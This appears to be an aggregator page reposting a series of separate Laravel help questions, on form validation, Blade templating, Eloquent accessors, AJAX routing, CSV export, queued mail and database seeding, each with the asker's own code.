Laravel Form validation error

What is my problem is if i fill all the data in the form field and Send or not it show the error messages as well as data not going to its database.

Here is the Controller function im talking .

public function store(Request $request)
{

     $this->validate($request, [
                'trainee_id' => 'required',
                'Trainee_Name' => 'required',
                'bank_name' => 'required',
                'branch_name' => 'required',
                'account_no' => 'required',
            ]);

    bankdetails::create($request->all());
        Session::flash('success', 'New Record has been added!');
    return view('bankdetails.bankdetailssucess');
}

This is the view for that.

     <div class="col-md-12">
<div class="row">
  <div class="col-md-8 col-md-offset-2">


            <div class="panel panel-default">
            <div class="panel-heading">
                <h2>Fill Your Bank Details</h2>
            </div>

            <div class="panel-body">



            <form action="" method="post" >
             

@if ($errors->any())
    <div class="alert alert-danger">
        <ul>
            @foreach ($errors->all() as $error)
                <li></li>
            @endforeach
        </ul>
    </div>
@endif

           &nbsp;  &nbsp;  &nbsp;

                            <div class="form-group">
                            <label>Trainee ID</label>
                            <input type="text" name="trainee_id" class="form-control" value="MOB/TR/">
                            </div>

                            <div class="form-group">
                            <label>Trainee Name</label>
                            <input type="text" name="trainee_name" class="form-control" value="">
                            </div>

                            <div class="form-group">
                            <label>Bank Name</label>
                            <input type="text" name="bank_acc_name" class="form-control" value="">
                            </div>

                            <div class="form-group">
                            <label>Branch Name</label>
                            <input type="text" name="branch_acc_name" class="form-control" value="">
                            </div>

                            <div class="form-group">
                            <label>Account No</label>
                            <input type="text" name="accoun_no" class="form-control" value="">
                            </div>

                             <input type="submit" class="btn btn-success pull-right">


           </form>


            </div>
            </div>
            </div>
            </div>
        </div>

Can anyone say me why im getting this problem.



via Chebli Mohamed

Insert a div in random intervals Laravel collection

I have a laravel application which is an ecommerce store.

On my shop category which contains rows of products I'd like to randomly in between the products insert a div.

This div should be random throughout the page.

For example, I have the following (I've pruned the code to keep it clean):

@section('content')

    <div class="products"> 

    @foreach($page->products->chunk(6) as $chunk)

        <div class="group">

        @foreach($chunk as $product)
            <div class="category_product"> 

                <div class="category_product_info">
                    <h2>
                        <a href="">
                            
                        </a>
                    </h2>
                </div>

            </div>
        @endforeach

        </div>

    @endforeach

    </div>

@endsection

In the chunk of 6 is it possible to inject say a seventh element which would appear randomly on the row?



via Chebli Mohamed

Custom attribute crashing on toJSON

I am trying to determine which position the order is in to generate a order id, but this crashes laravel, nothing in the logs, just a 500 error in the browser:

<?php

namespace App;

use Illuminate\Database\Eloquent\Model;
use Illuminate\Database\Eloquent\SoftDeletes;

class Load extends Model
{
    use SoftDeletes;

    protected $dates = ['deleted_at'];

    protected $guarded = ['id', 'created_at', 'updated_at'];

    protected $appends = ['order_no'];

    public function getOrderNoAttribute()
    {
        $count = 1;
        foreach ($this->workorder->loads as $load) {
            if ($load->id == $this->id) {
                break;
            }
            $count++;
        }
        return $this->workorder->id . "-" . $count;
    }
}

When I changed it to return just an integer it worked, so I am almost certain it is the relation access causing the issue. Is there a way to do this that is better?



via Chebli Mohamed

Laravel Spark API endpoint for guests but also with the web middleware

A requirement of a project means I need to create a customer registration that has its own API endpoint.

In the API controller I am using:

Auth::login($user, true);

To login the user after creating it. The issue is that I can go back to the login page etc so the user is not getting logged in.

My initial thoughts are that this middleware:

'guest:api'

Doesn't have access to sessions, is there anyway I can make this API call work for non logged in users but also use sessions?

If I use the web middleware I get CSRF errors which I don't really need to mess with due to Spark doing it all for me normally.



via Chebli Mohamed

Laravel 5.4 old() selected in an edit page

In an edit page, I'm using old() so when saving the changes and missing a required field does not erase what the user had selected.

The problem is that doing so inside the foreach keeps me two selected: one the old() and another one that comes from the database. How can I make it just keep the new one if it has changed or the one in the database if it has not changed it?

<select name="level" class="form-control">
     @foreach($data['level'] as $key => $level)
         <option value="" @if(old('level') == $key) selected @else {!! ($key == $data['item']->level) ? 'selected' : '' !!} @endif></option>}
     @endforeach
</select>



via Chebli Mohamed

Mysql qu erynot accepting in laravel 5.4

This query on php admin works perfectly fine SELECT a.*, Count(b.status) as counttotal FROM holidays a LEFT JOIN attendances b on a.month_id=b.month_id GROUP BY a.month_id

phpadmin screenshot here

This query executes in php my admin but i tried the same to check through php artisan tinker but this gives error of

Illuminate\Database\QueryException with message 'SQLSTATE[42000]: Syntax error or access violation: 1055 'school_blog.a.month' isn't in GROUP BY (SQL: SELECT a.*, Count(b.status) as counttotal FROM holidays a LEFT JOIN attendances b on a.month_id=b.month_id GROUP BY a.month_id)'

Please help me out. check the screen shot of erroe msg



via Chebli Mohamed

ReactJs - Laravel hide element if user not Administrator

I am developing web app, where I have 2 types of Users : Administrator and Simple_user obviously with different permissions.

Now, I put on my page a list of element, and I would show button "deleted element" only to administrator, so hide to Simple_user.

I' am using laravel blade, with http://ift.tt/1dvwKFA for pass variable from Laravel to ReactJs View, I thought pass a variable like "admin => true" if Auth::user() is administrator but I'm not Sure if it is the best choice.

Could you give me an advice?



via Chebli Mohamed

Can not display a form in laravel using laravel collective

I want to create form in my laravel page. I use laravel collections for this, but that is not work. I used composer, then pasted commands to providers and alias and when I am doing this in my code:

       
       echo Form::text('username');
       

I have only returned "echo..." as text.

What can I do to create my own form?



via Chebli Mohamed

Laravel Unable to download files in csv format

I get the issue in my code What I want: after clicking on the export button, one CSVfile would be automatic download from the browser.

but it only displays the data in network tab in inspect element but not downloading.

public function Exportcsv(Request $recuestdata) {

 $headers = array(
    "Content-type" => "text/csv",
    "Content-Disposition" => "attachment; filename=file.csv",
    "Pragma" => "no-cache",
    "Cache-Control" => "must-revalidate, post-check=0, pre-check=0",
    "Expires" => "0"
  );

  $filename = "order";
  $output = fopen($filename, 'w+');
  $data=json_decode($recuestdata['row']);

  foreach ($data as $line) {
    fputcsv($output, $line);
  }
  return Response::download($filename, 'order.csv', $headers);
}



via Chebli Mohamed

laravel ajax pass multiple variables to controller?

I need to pass 4 variables to controller so that I can do what I want to do with it, however I get an error:

Missing argument 1 for App\Http\Controllers\ProfileController::getGoogle()

Here's my Controller:

function getGoogle($lat, $lng, $destinationLat, $destinationLng) {
    print_r($lat);
    print_r($lng);
    print_r($destinationLat);
    print_r($destinationLng);
}

and ajax:

function getDirections(lat, lng, destinationLat, destinationLng) {
      $.ajax({
          url: '/google/',
          type: 'post',
          data: { lat: lat, lng: lng, destinationLat: destinationLat, destinationLng: destinationLng },
          dataType: 'json',
          success: function() { alert('hello!'); },
          error: function() { alert('boo!'); },
          headers: {
              'X-CSRF-Token': $('meta[name="csrf-token"]').attr('content')
          }  
        });

Route:

Route::post('google/', 'ProfileController@getGoogle');



via Chebli Mohamed

Laravel multiple form attributes need to be save in a database

i`m using this view.what i need is fill the database with complete name.

enter image description here This is the view code segment.

 <label>Name with Initials</label>
<div class="input-group">
  <span class="input-group-addon">
    <select id="name_with_initials" name="name">
      <option selected="selected" value="mr">Mr.</option>
      <option value="mrs">Mrs.</option>
      <option value="miss">Miss.</option>
    </select>
  </span>
  <input type="text" name="name_with_initials" class="form-control" placeholder="Name with Initials">
</div>

Here is the controller store function.

$registerdetails = new registerdetails;
          $title = Input::get('name');
          $name  = Input::get('name_with_initials');
        $name_with_initials = $title.' '.$name;
        $registerdetails ->name_with_initials = $request ->name_with_initials;

My model attribute for that is name_with_initials

This works fine,but save only the name not as mr mrswhy is that?



via Chebli Mohamed

Get in Random Order Laravel

I have made a query about taking 40 question of 7215 in total with this code,

$questions = Question::where([
    'visible' => 'yes',
    'deleted' => 'no'
])
    ->inRandomOrder()
    ->take(40)
    ->get();

but in some cases I get the same question more than 1 time in this query, is there any way to take 1 question only once?



via Chebli Mohamed

Creating 2 different links depending on screen size

This might be a silly question, but I can't seem to find a solution.

I'm creating a site that is also mobile friendly, I'm using bootstrap and laravel.

It has a menu that has a dropdown called "products". If you hover over it, the dropdown will be displayed and the "products" menu will be clickable and takes you to a page with all the product categories.

In order for me to be able to use the hover I removed data-toggle="dropdown" from the dropdown and created a hover function in my js file. The data-toggle="dropdown" allows me to click on "products" without having to go to the product page.

Now the problem I'm having is that when I go to mobile and i press on "products" I go to the product page instead of the dropdown showing.

I was thinking of doing something like this or adding data-toggle="dropdown" via jquery to the link depending on the window size.

@if(window = 700px)
    <a href="{!! url(getSeoLink($grandfather->id)) !!}" class="dropdown-toggle" data-toggle="dropdown" role="button" aria-haspopup="true" aria-expanded="false">
@else
    <a href="{!! url(getSeoLink($grandfather->id)) !!}" class="dropdown-toggle" role="button" aria-haspopup="true" aria-expanded="false">
@endif

Obviously this doesn't work so I would like to know how I would be able to do something like that. I've looked on the net and I haven't come across anything. Regarding the one for jquery I'm not sure how I would add the data-toggle="dropdown" when the window hits the 700px mark.

My menu

<nav class="navbar navbar-default main_menu_wrapper">
    <div class="container-fluid">
        <div class="navbar-header">
            <button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#main_menu" aria-expanded="false">
                <span class="sr-only">Toggle navigation</span>
                <span class="icon-bar"></span>
                <span class="icon-bar"></span>
                <span class="icon-bar"></span>
            </button>
            <a href="{!! url('/') !!}" class="navbar-brand">
                <img src="{!! asset("img/logo.jpg") !!}">
            </a>
        </div>

        <div class="collapse navbar-collapse menu_wrapper" id="main_menu">
            <form action="{!! route('search') !!}" method="POST" role="search" class="navbar-form navbar-right search">
                
                <div class="form-group">
                    <input type="text" class="form-control" name="search" placeholder="Search...">
                </div>
                <button type="submit" class="btn btn-default">
                    <span class="glyphicon glyphicon-search"></span>
                </button>
            </form>

            <ul class="nav navbar-nav navbar-right">
                @foreach($menus_child as $grandfather)
                    @if($grandfather->menu_id)
                        <li>
                    @elseif($grandfather->title == 'Home')
                        <li class="parent {!! menu_active($grandfather->id) !!}">
                    @elseif(count($grandfather->menusP()->where('menu_id', '>', 0)->get()))
                        <li class="dropdown {!! menu_active($grandfather->id) !!}">
                    @else
                        <li class="parent {!! menu_active($grandfather->id) !!}">
                    @endif

                    @if(count($grandfather->menusP()->where('menu_id', '>', 0)->get()))
                        <a href="{!! url(getSeoLink($grandfather->id)) !!}" class="dropdown-toggle" role="button" aria-haspopup="true" aria-expanded="false">
                            {!! $grandfather->title !!} <span class="caret"></span>
                        </a>
                    @else
                        {!! Html::link(getSeoLink($grandfather->id), $grandfather->title) !!}
                    @endif

                    @if(count($grandfather->menusP))
                        <ul class="dropdown-menu">
                            @foreach($grandfather->menusP as $father)
                                @if($father->menu_id)
                                    <li class="parent_child">
                                @else
                                    <li>
                                @endif

                                {!! Html::link(getSeoLink($father->id), $father->title) !!}
                            @endforeach
                        </ul>
                    @endif
                @endforeach
            </ul>
        </div>
    </div>
</nav>

my js that allows a hover

$('ul.navbar-nav li').hover(
    function () {
        $(this).find('> ul').show();
    },
    function () {
        $(this).find('> ul').hide();
    }
);

I hope I made sense. If there is anything else that I might have forgotten to add please let me know.



via Chebli Mohamed

Laravel queued mail not received

I'm trying to use queue for my email sending on Laravel 5.4

Mail::to('email@example.com')->queue(new NotifyCustomer($client));

What works: QUEUE_DRIVER=sqs or database with Mailgun

What works: QUEUE_DRIVER=sync with Mailgun with domain up******.com

What doesn't work: QUEUE_DRIVER=sqs or database with domain up******.com. But, it works for other domains.

Is this an issue with domain up******.com MX entry or DNS setup or something not working at Illuminate\Mail\SendQueuedMailable?

Thanks in advance.



via Chebli Mohamed

laravel. echo variable to view from controller

I have some Ajax making a post request to a function in my controller (postIndex) I would like to echo this variable ($a) to the view.

public function postIndex( \Illuminate\Http\Request $request ){
/*
* CODE
*/
$a = "string";
echo $a;

return SOMETHING;
}



via Chebli Mohamed

Laravel Seeding Issue

Guys.

I'm having an issue regarding Laravel's Seeding... so I'm getting a [ErrorException] Illegal offset type from One of My seeds. I believe my issue is coming from the foreign key, from the other table that I'm using

Below is My Model, My Table and My Seed which I'm getting.

Channel - Model

<?php

namespace App;

use Illuminate\Database\Eloquent\Model;
use App\Tenant;
use App\InactiveLead;
use App\Lead;


class Channel extends Model
{
    //
    protected $primaryKey = ['channel_id'];

    protected $fillable = ['name', 'tenant_name'];

    public function tenant()
    {
        return $this->belongsTo(Tenant::class, 'name', 'tenant_name');
    }

    public function inactivelead()
    {
        return $this->hasMany(InactiveLead::class, 'inactive_lead_id', 'inactive_lead_id');
    }

    public function lead()
    {
        return $this->hasMany(Lead::class, 'lead_id', 'lead_id');
    }
}

Channel - Table

<?php

use Illuminate\Support\Facades\Schema;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Database\Migrations\Migration;

class CreateChannelsTable extends Migration
{
    /**
     * Run the migrations.
     *
     * @return void
     */
    public function up()
    {
        Schema::create('channels', function (Blueprint $table) {
            $table->increments('channel_id');

            $table->string('name');

            $table->string('tenant_name');
            $table->foreign('tenant_name')->references('name')->on('tenants');

            $table->unique(['tenant_name', 'name']);

            $table->timestamps();
        });
    }

    /**
     * Reverse the migrations.
     *
     * @return void
     */
    public function down()
    {
        Schema::dropIfExists('channels');
    }
}

Channel - Seeder

<?php

use Illuminate\Database\Seeder;
use App\Tenant;
use App\Channel;
use Faker\Factory as Faker;

class ChannelsTableSeeder extends Seeder
{
    /**
     * Run the database seeds.
     *
     * @return void
     */
    public function run()
    {
        //
    $faker = Faker::create();

    $Tenants = Tenant::all()->pluck('name')->toArray();

    $Channels = array('SMS', 'Email', 'MMS', 'Call');

    $limit = 100;

    for($i = 0; $i < $limit; $i++) {
        $channel = new Channel([
            'tenant_name' => $faker->unique()->randomElement($Tenants),
            'name' => $faker->unique()->randomElement($Channels)
        ]);

        $channel->save();
    }
}
}



via Chebli Mohamed